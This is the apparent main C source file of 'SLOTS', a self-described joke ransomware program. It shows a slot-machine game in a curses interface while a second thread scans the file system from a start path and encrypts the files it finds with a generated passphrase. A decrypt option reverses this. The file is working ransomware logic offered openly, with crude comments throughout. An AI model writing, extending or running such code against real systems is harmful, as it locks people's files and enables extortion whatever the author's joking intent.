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/***
* SLOTS - Feelin' Lucky?
*
* SLOTS is ransomware that uses (shitty) encryption to "encourage" the reluctant gambler. You get 3 free spins to get a jackpot, further spins "cost" money.
* This malware is meant primarily as a joke, not as something meant to damage someone's system. While it CAN damage someone's computer and lock their files away, it
* also prints out the key required to decrypt affected files if someone isn't too keen on losing their shit
*
*
*/
#define _GNU_SOURCE
#include "VX-GAMBLEGROUND.h"
#include "encryption.h"
#include "search.h"
#include "screen.h"
#include "ll.h"
#include <sodium.h>
#include <sys/random.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <assert.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <error.h>
#include <argp.h>
#include <time.h>
#include <stdio.h>
#include <threads.h>
#include <regex.h>
const char *argp_program_version = "Alpha-0.1";
const char *argp_program_bug_address = "@syxhe on Telegram (https://t.me/syxhe)";
static char doc[] = "lol";
static char argdoc[] = "lmao";
static struct argp_option options[] = {
{.name = "passphrase", .key = 'p', .arg = "key", .flags = 0, .doc = "Specify passphrase for encryption/decryption", .group = 0},
{"decrypt", 'd', 0, 0, "Skip the slots minigame and immediately decrypt (or encrypt) files", 0},
{"noencrypt", 'n', 0, 0, "Don't encrypt files when ran, just play slots", 0},
{0}
};
static error_t parse_opt(int key, char *arg, struct argp_state *state) {
struct arguments *args = state->input;
switch(key) {
case 'p':
/* Specifying the start option of "-p=<phrase>" errors out unless this is done.
// Technically a user should use --passphrase=<phrase> if they want to use the = sign, but I think
// this is how it should work. RMS can suck it */
if(*arg == '=')
arg++;
args->inputpass = arg;
if(strlen(args->inputpass) != PHRASESIZE) {
error(1, 0, "Encryption passphrase must be exactly %d characters long", PHRASESIZE);
}
break;
case 'd':
args->flags |= SKIPSLOTS;
break;
case 'n':
args->flags |= SKIPENC;
break;
default:
return ARGP_ERR_UNKNOWN;
}
return 0;
}
static struct argp argp = {options, parse_opt, argdoc, doc, NULL, 0, 0};
int genphrase(char *phrase, size_t phrasesize) {
memset(phrase, 0, phrasesize);
for(size_t i = 0; i < phrasesize; i++)
phrase[i] = randombytes_uniform('Z' - 'A' + 1) + 'A';
phrase[phrasesize] = '\0';
return 0;
}
// roflmao fuck this project i'm too tired to bother with making it nice
int doslots(struct bullshit *stuff) {
// I have no fucking clue why gcc complains that this isn't properly bracketed. Maybe im rarted
// No the compiler just complains randomly. Sometimes when I compile it's fine and other times it whines
// Gotta love open source
stuff->handler = (struct sigaction){
.sa_flags = SA_SIGINFO,
.sa_mask = SIGINT | SIGWINCH,
.sa_sigaction = catcher,
};
doinit(&stuff->handler);
docolors();
getmaxyx(stdscr, stuff->row, stuff->col);
stuff->randphrase = randombytes_uniform(STATIC_ARRSIZE(phrases) + 1);
stuff->banner = create_banner(stuff->col, stuff->randphrase, stuff->passphrase);
init_items(stuff->items, menu_choices, STATIC_ARRSIZE(menu_choices), userfuncs);
stuff->menu = new_menu(stuff->items);
if(stuff->menu == NULL) {
endwin();
error(1, errno, "Could not create menu");
}
stuff->menuholder = newwin(1, stuff->col, stuff->row - 1, 0);
keypad(stuff->menuholder, TRUE);
init_custom_menu_format(stuff->menuholder, stuff->menu, (int []){1, stuff->col}, O_ONEVALUE | O_IGNORECASE, O_SHOWDESC | O_NONCYCLIC);
stuff->slots.slotwin = newwin(stuff->row - 2, stuff->col, 1, 0);
if(stuff->slots.slotwin == NULL) {
endwin();
error(1, errno, "[VX-GAMBLEGROUND] Could not create slots window");
}
init_slotholder(&stuff->slots);
doupdate();
struct endeargs decryptargs = {
.flag = VXGG_DECRYPT,
.list = NULL,
.passphrase = stuff->passphrase
};
stuff->params = (struct params){
.bannerwin = stuff->banner,
.menu = stuff->menu,
.menuholder = stuff->menuholder,
.numspins = 3,
.price = 1,
.slots = &stuff->slots,
.decrypt_callback = ende_wrapper,
.decrypt_args = (void*)&decryptargs
};
handle_input(stuff->menuholder, stuff->menu, &stuff->params);
unpost_menu(stuff->menu);
free_menu(stuff->menu);
for(long unsigned int i = 0; i < STATIC_ARRSIZE(menu_choices); i++)
free_item(stuff->items[i]);
endwin();
return 0;
}
int doslots_twrapper(void *passed) {
return doslots((struct bullshit*)passed);
}
int scanundencrypt(void *passed) {
struct sande *p = (struct sande *)passed;
p->scanned = scanfiles(p->STARTPATH, p->cmp);
//encryptvxgg(p->scanned, p->passphrase);
ENorDE_cryptvxgg(p->scanned, p->passphrase, VXGG_ENCRYPT);
return 0;
}
int main(int argc, char *argv[]) {
struct arguments args = {
.inputpass = NULL,
.flags = 0
};
argp_parse(&argp, argc, argv, ARGP_NO_ARGS, 0, &args);
if(args.flags == (SKIPENC | SKIPSLOTS))
error(1, 0, "[VX-GAMBLEGROUND] You want to skip the slots, and the encryption? Ok, sure");
// C is truly a mystery sometimes. If this is statically defined, shit breaks. But when I allocate it? Just works
char *passphrase = calloc(PHRASESIZE + 1, sizeof(*passphrase));
if(args.inputpass == NULL) {
genphrase(passphrase, PHRASESIZE);
} else {
passphrase = args.inputpass;
}
// Deal with decrypting flag
if((args.flags & SKIPSLOTS) && (args.inputpass != NULL)) {
struct nodelist *files = NULL;
files = scanfiles(FILESCAN_START, alphasort);
ENorDE_cryptvxgg(files, passphrase, VXGG_DECRYPT);
return 0;
}
struct bullshit stuff;
struct nodelist *files = NULL;
struct sande scanner = {.cmp = alphasort, .STARTPATH = FILESCAN_START, .scanned = files, .passphrase = passphrase};
strncpy(stuff.passphrase, passphrase, PHRASESIZE);
thrd_t slots, filescan;
int err;
if((err = thrd_create(&slots, doslots_twrapper, (void*)&stuff)) != thrd_success)
error(1, 0, "[VX-GAMBLEGROUND] Could not start slots thread: %d", err);
if((err = thrd_create(&filescan, scanundencrypt, (void*)&scanner)) != thrd_success)
error(1, 0, "[VX-GAMBLEGROUND] Could not start filescanner thread: %d", err);
thrd_join(slots, NULL);
thrd_join(filescan, NULL);
return 0;
}
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